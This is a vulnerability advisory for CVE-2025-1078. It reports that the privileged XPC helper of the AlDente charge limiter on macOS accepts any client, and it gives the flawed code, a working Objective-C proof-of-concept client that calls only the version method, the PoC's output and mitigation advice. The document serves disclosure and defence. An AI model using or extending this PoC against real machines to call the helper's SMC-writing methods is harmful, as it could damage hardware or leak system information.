AlDente-Charge-Limiter <1.30 Unauthorized Privileged Hardware Operations

CVE-2025-1078

Description

The AlDente-Charge-Limiter application is vulnerable to unauthorized privileged hardware operations due to the insecure implementation of its XPC service. The application registers a Mach service under the name **com.davidwernhart.Helper.mach**. The associated binary, **com.apphousekitchen.aldente-pro.helper**, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client, such as manipulating SMC values, managing power assertions, and reading sensitive system information through SMC values.

The root cause of this vulnerability lies in the **shouldAcceptNewConnection** method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. As a result, unauthorized attackers can establish a connection to the Mach service and invoke dangerous methods exposed by the HelperToolProtocol interface.

```
final class HelperDelegate: NSObject, NSXPCListenerDelegate {
    func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection:
NSXPCConnection) -> Bool {
        newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
        newConnection.exportedObject = HelperTool.instance
        newConnection.resume()
        return true
    }
}
```

Within the **HelperToolProtocol** protocol, some methods are particular dangerous if attackers call them arbitrarily:
- **setSMCByte**: Direct hardware manipulation allowing potential device damage through fan speed/temperature control manipulation

- **createAssertion**: Power management exploitation leading to battery drain and resource exhaustion

- **readSMCByte/readSMCUInt32**: Information disclosure of system settings

- **setResetVal**: Malicious value injection that could corrupt system restore points; reset: Could trigger hardware malfunction if called after malicious value injection.

```
@protocol HelperToolProtocol <NSObject>
- (void)getVersionWithReply:(void (^)(NSString * _Nonnull))reply;
- (void)setSMCByteWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)readSMCByteWithKey:(NSString * _Nonnull)key withReply:(void (^)(char))reply;
- (void)readSMCUInt32WithKey:(NSString * _Nonnull)key reply:(void (^)(uint32_t))reply;
- (void)createAssertionWithName:(NSString * _Nonnull)assertion reply:(void
(^)(uint32_t))reply;
- (void)releaseAssertionWithID:(uint32_t)assertionID;
- (void)setResetValueWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)reset;
@end
```

Impact

An attacker can exploit this vulnerability to have unrestricted access to these exposed SMC and power management methods, allowing them to potentially damage hardware through thermal manipulation, drain system resources, read sensitive system information through SMC values, and corrupt critical system settings, potentially leading to permanent device malfunction.

Reproduction

For safe demonstration purposes, only the **getVersionWithReply** method was tested to confirm the lack of client verification, proving that an attacker could similarly invoke other sensitive methods that could cause hardware damage.

1. Below is a custom XPC client (exploit) to demonstrate the issue.

```
#import <Foundation/Foundation.h>
static NSString* XPCHelperMachServiceName = @"com.apphousekitchen.aldente-pro.helper";



@protocol HelperToolProtocol <NSObject>
- (void)getVersionWithReply:(void (^)(NSString * _Nonnull))reply;
- (void)setSMCByteWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)readSMCByteWithKey:(NSString * _Nonnull)key withReply:(void (^)(char))reply;
- (void)readSMCUInt32WithKey:(NSString * _Nonnull)key reply:(void (^)(uint32_t))reply;
- (void)createAssertionWithName:(NSString * _Nonnull)assertion reply:(void
(^)(uint32_t))reply;
- (void)releaseAssertionWithID:(uint32_t)assertionID;
- (void)setResetValueWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)reset;
@end



int main()
{
    NSString* service_name = XPCHelperMachServiceName;
    NSXPCConnection* connection = [[NSXPCConnection alloc]
initWithMachServiceName:service_name options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface
interfaceWithProtocol:@protocol(HelperToolProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];



    // Create a semaphore to wait for the async reply
    dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);



    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
        NSLog(@"[-] Something went wrong");
        NSLog(@"[-] Error: %@", error);
        dispatch_semaphore_signal(semaphore);
    }];
```

```
    NSLog(@"Object: %@", obj);
    NSLog(@"NSXPC Connection: %@", connection);



    NSLog(@"Trying to call getVersionWithReply remotely\n");
    [obj getVersionWithReply:^(NSString *response)
    {
        NSLog(@"Version: %@", response);
        dispatch_semaphore_signal(semaphore);
    }];




    // Wait for the reply (timeout after 5 seconds)
    dispatch_semaphore_wait(semaphore, dispatch_time(DISPATCH_TIME_NOW, 5 * NSEC_PER_SEC));



    NSLog(@"POC Completed!");
    return 0;
}
```

2. Upon executing the exploit, the successful retrieval of version information and XPC connection logs demonstrates the lack of client verification, confirming the vulnerability is exploitable.

```
adler@adlers-Mac-mini xpc-exp % gcc -framework Foundation aldente.m -o aldente
adler@adlers-Mac-mini xpc-exp % ./aldente
2024-12-13 19:12:44.470 aldente[21372:1556358] Object:
<__NSXPCInterfaceProxy_HelperToolProtocol: 0x6000016580a0>
2024-12-13 19:12:44.470 aldente[21372:1556358] NSXPC Connection: <NSXPCConnection:
0x600000440140> connection to service named com.apphousekitchen.aldente-pro.helper
2024-12-13 19:12:44.470 aldente[21372:1556358] Trying to call getVersionWithReply remotely
2024-12-13 19:12:44.499 aldente[21372:1556364] Version: 15
2024-12-13 19:12:44.499 aldente[21372:1556358] POC Completed!
```

```
adler@adlers-Mac-mini tcc-exp % log stream --predicate '(subsystem ==
"com.apphousekitchen.aldente-pro.helper")  || (eventMessage CONTAINS
"com.apphousekitchen.aldente-pro.helper")'
```

```
Filtering the log data using "subsystem == "com.apphousekitchen.aldente-pro.helper" OR
composedMessage CONTAINS "com.apphousekitchen.aldente-pro.helper""
Timestamp                       Thread     Type        Activity             PID    TTL
2024-12-13 19:12:44.470324-0500 0x17bf86   Default     0x0                  21372  0
 aldente: (libxpc.dylib) [com.apple.xpc:connection] [0x1452053b0] activating connection:
mach=true listener=false peer=false name=com.apphousekitchen.aldente-pro.helper
2024-12-13 19:12:44.470846-0500 0x17bf86   Default     0x0                  21372  0
 aldente: NSXPC Connection: <NSXPCConnection: 0x600000440140> connection to service named
com.apphousekitchen.aldente-pro.helper
```

Mitigation

Implement robust client verification mechanisms, including **code signing check** and **audit token verification**.

Some good examples of secure client validation can be found in https://github.com/imothee/tmpdisk/blob/2572a5e738ba96d1d0ea545d620078410db62148/com.imothee.TmpDiskHelper/XPCServer.swift#L70, https://github.com/mhaeuser/Battery-Toolkit/blob/4b9a74bf1c31a57d78eb351b69fe09b861252f60/Common/BTXPCValidation.swift, https://github.com/duanefields/VirtualKVM/blob/master/VirtualKVM/CodesignCheck.swift.

Revision #7
Created 2025-01-31 05:14:38 UTC by winslow
Updated 2026-06-20 21:20:32 UTC by winslow